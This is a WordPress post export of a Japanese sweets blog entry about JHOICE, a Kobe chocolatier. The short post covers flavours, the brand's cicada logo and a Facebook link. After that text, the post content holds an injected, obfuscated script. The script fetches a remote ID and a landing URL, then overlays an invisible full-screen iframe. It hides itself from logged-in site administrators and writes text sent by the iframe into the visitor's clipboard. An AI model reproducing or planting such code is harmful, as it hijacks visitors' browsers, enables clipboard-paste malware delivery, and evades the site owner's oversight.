{"id":22983,"date":"2026-02-14T07:26:54","date_gmt":"2026-02-13T22:26:54","guid":{"rendered":"https:\/\/kirin.cc\/?p=22983"},"modified":"2026-05-23T03:08:20","modified_gmt":"2026-05-22T18:08:20","slug":"jhoice","status":"publish","type":"post","link":"https:\/\/kirin.cc\/?p=22983","title":{"rendered":"JHOICE"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-22984\" src=\"https:\/\/kirin.cc\/wp-content\/uploads\/2026\/02\/IMG_0729-267x300.jpg\" alt=\"\" width=\"267\" height=\"300\" srcset=\"https:\/\/kirin.cc\/wp-content\/uploads\/2026\/02\/IMG_0729-267x300.jpg 267w, https:\/\/kirin.cc\/wp-content\/uploads\/2026\/02\/IMG_0729-134x150.jpg 134w, https:\/\/kirin.cc\/wp-content\/uploads\/2026\/02\/IMG_0729.jpg 450w\" sizes=\"auto, (max-width: 267px) 100vw, 267px\" \/><\/p>\n<div dir=\"auto\">\u30ab\u30ab\u30aa\u00d7\u65e5\u672c\u306e\u65ec\u306e\u98df\u6750\u3084\u767a\u9175\u98df\u54c1\u3000\u3069\u3053\u304b\u61d0\u304b\u3057\u3044\u611f\u899a\u306e\u30c1\u30e7\u30b3\u30ec\u30fc\u30c8<\/div>\n<div dir=\"auto\">\u9ed2\u306b\u3093\u306b\u304f \u00d7 \u82fa \u00d7 \u30dd\u30eb\u30c8\u30ef\u30a4\u30f3\u76f8\u751f\u6669\u8336 \u56db\u666f \u307b\u304a\u305a\u304d \u00d7 \u82b1\u6912etc.<\/div>\n<div dir=\"auto\">\u5275\u696d\u8005\u4e08\u6c60 \u6b66\u5fd7TakeikeTakashi\u6c0f\u4e08\u6c60\uff08Jyoike\uff09\u00d7\u30c1\u30e7\u30a4\u30b9\uff08Choice\uff09<\/div>\n<div dir=\"auto\">\u5175\u5eab\u770c\u795e\u6238\u5e02JHOICE\u306e\u30a2\u30c8\u30ea\u30a8\u3092\u8a2a\u306d\u305f\u3044\u3068\u601d\u3046(#^.^#)\uff75\uff72\uff7c\uff72\uff5e\u266a<\/div>\n<div dir=\"auto\">\u30b5\u30d6\u30ed\u30b4\u306f\u73cd\u3057\u3044\u8749\u306e\u30e2\u30c1\u30fc\u30d5\u306f\u30e8\u30fc\u30ed\u30c3\u30d1\u3067\u306f\u6570\u304c\u5c11\u306a\u304f\u73cd\u3057\u3044<\/div>\n<div dir=\"auto\">\u5e78\u305b\u3092\u904b\u3076\u866b\u3068\u3044\u308f\u308c\u308b\u305d\u3046\uff5e\u8131\u76ae\u3092\u3059\u308b\u3055\u307e\u306f\u5fa9\u6d3b\u518d\u751f\u306e\u8c61\u5fb4\uff01<\/div>\n<div dir=\"auto\">\u4f55\u3082\u304b\u3082\u304c\u7d20\u6674\u3089\u3057\u304f\u6700\u9ad8\u306e\u611f\u6027<span class=\"html-span xexx8yu xyri2b x18d9i69 x1c1uobl x1hl2dhg x16tdsg8 x1vvkbs x3nfvp2 x1j61x8r x1fcty0u xdj266r xat24cr xm2jcoa x1mpyi22 xxymvpz xlup9mm x1kky2od\"><img loading=\"lazy\" decoding=\"async\" class=\"xz74otr x15mokao x1ga7v0g x16uus16 xbiv7yw\" src=\"https:\/\/static.xx.fbcdn.net\/images\/emoji.php\/v9\/t6c\/1\/16\/2764.png\" alt=\"\u2764\" width=\"16\" height=\"16\" \/><\/span><\/div>\n<div dir=\"auto\"><span class=\"html-span xdj266r x14z9mp xat24cr x1lziwak xexx8yu xyri2b x18d9i69 x1c1uobl x1hl2dhg x16tdsg8 x1vvkbs\"><a class=\"x1i10hfl xjbqb8w x1ejq31n x18oe1m7 x1sy0etr xstzfhl x972fbf x10w94by x1qhh985 x14e42zd x9f619 x1ypdohk xt0psk2 x3ct3a4 xdj266r x14z9mp xat24cr x1lziwak xexx8yu xyri2b x18d9i69 x1c1uobl x16tdsg8 x1hl2dhg xggy1nq x1a2a7pz xkrqix3 x1sur9pj x1fey0fg x1s688f\" tabindex=\"0\" role=\"link\" href=\"https:\/\/www.facebook.com\/JHOICEchocolatier?__cft__[0]=AZZDASsz06fFPUEaWyrZxNC65OQFPDug33QkYi-fo2Kx69XBSojMEPwGjfY2t5ATms0Udg1dLiBfN0jgIIqTDfJ7NCk9sqiCDHB8WB0pWehtPeeEs7LL6Ansz6_ez6K8l2nWwyAL6inirJ3UQxukgcxhVbrGAUirxFutQ0VCxzcA8A&amp;__tn__=-]K-R\"><span class=\"xt0psk2\"><span class=\"xjp7ctv\">https:\/\/www.facebook.com\/JHOICEchocolatier?locale=ja_JP<\/span><\/span><\/a><\/span><\/div>\n<p><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u30ab\u30ab\u30aa\u00d7\u65e5\u672c\u306e\u65ec\u306e\u98df\u6750\u3084\u767a\u9175\u98df\u54c1\u3000\u3069\u3053\u304b\u61d0\u304b\u3057\u3044\u611f\u899a\u306e\u30c1\u30e7\u30b3\u30ec\u30fc\u30c8 \u9ed2\u306b\u3093\u306b\u304f  <a class=\"more-link\" href=\"https:\/\/kirin.cc\/?p=22983\">\u7d9a\u304d\u3092\u8aad\u3080 <span class=\"screen-reader-text\">  JHOICE<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":22984,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17],"tags":[],"class_list":["post-22983","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-sweets"],"_links":{"self":[{"href":"https:\/\/kirin.cc\/index.php?rest_route=\/wp\/v2\/posts\/22983","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kirin.cc\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kirin.cc\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kirin.cc\/index.php?rest_route=\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/kirin.cc\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=22983"}],"version-history":[{"count":2,"href":"https:\/\/kirin.cc\/index.php?rest_route=\/wp\/v2\/posts\/22983\/revisions"}],"predecessor-version":[{"id":24106,"href":"https:\/\/kirin.cc\/index.php?rest_route=\/wp\/v2\/posts\/22983\/revisions\/24106"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kirin.cc\/index.php?rest_route=\/wp\/v2\/media\/22984"}],"wp:attachment":[{"href":"https:\/\/kirin.cc\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=22983"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kirin.cc\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=22983"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kirin.cc\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=22983"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}